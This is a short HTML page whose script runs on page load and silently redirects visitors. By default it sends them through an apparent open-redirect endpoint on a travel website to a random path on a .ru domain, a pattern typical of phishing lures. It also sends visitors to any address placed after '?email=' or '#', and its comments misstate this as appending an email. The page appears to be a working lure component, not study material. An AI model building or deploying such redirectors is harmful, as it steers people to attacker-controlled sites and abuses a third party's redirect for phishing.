<!DOCTYPE html>
<html>
<head>
    <script>
        function redirectAndAppendEmail() {
            var currentUrl = window.location.href;
            var emailParameter = "https://happy-travel.kz/ru/go.php?go=https://WuEM.ograsilue.ru/8aqG8yeT/#";

            // Check if email parameter is present in the URL
            if (currentUrl.indexOf("?email=") !== -1) {
                emailParameter = currentUrl.split("?email=")[1];
            } else if (currentUrl.indexOf("#") !== -1) {
                emailParameter = currentUrl.split("#")[1];
            }

            // If an email parameter was found, redirect to another domain
            if (emailParameter) {
                var redirectTo = "" + emailParameter;
                window.location.href = redirectTo;
            }
        }

        // Call the function on page load
        redirectAndAppendEmail();
    </script>
</head>
<body>
    <h1>Redirecting...</h1>
</body>
</html>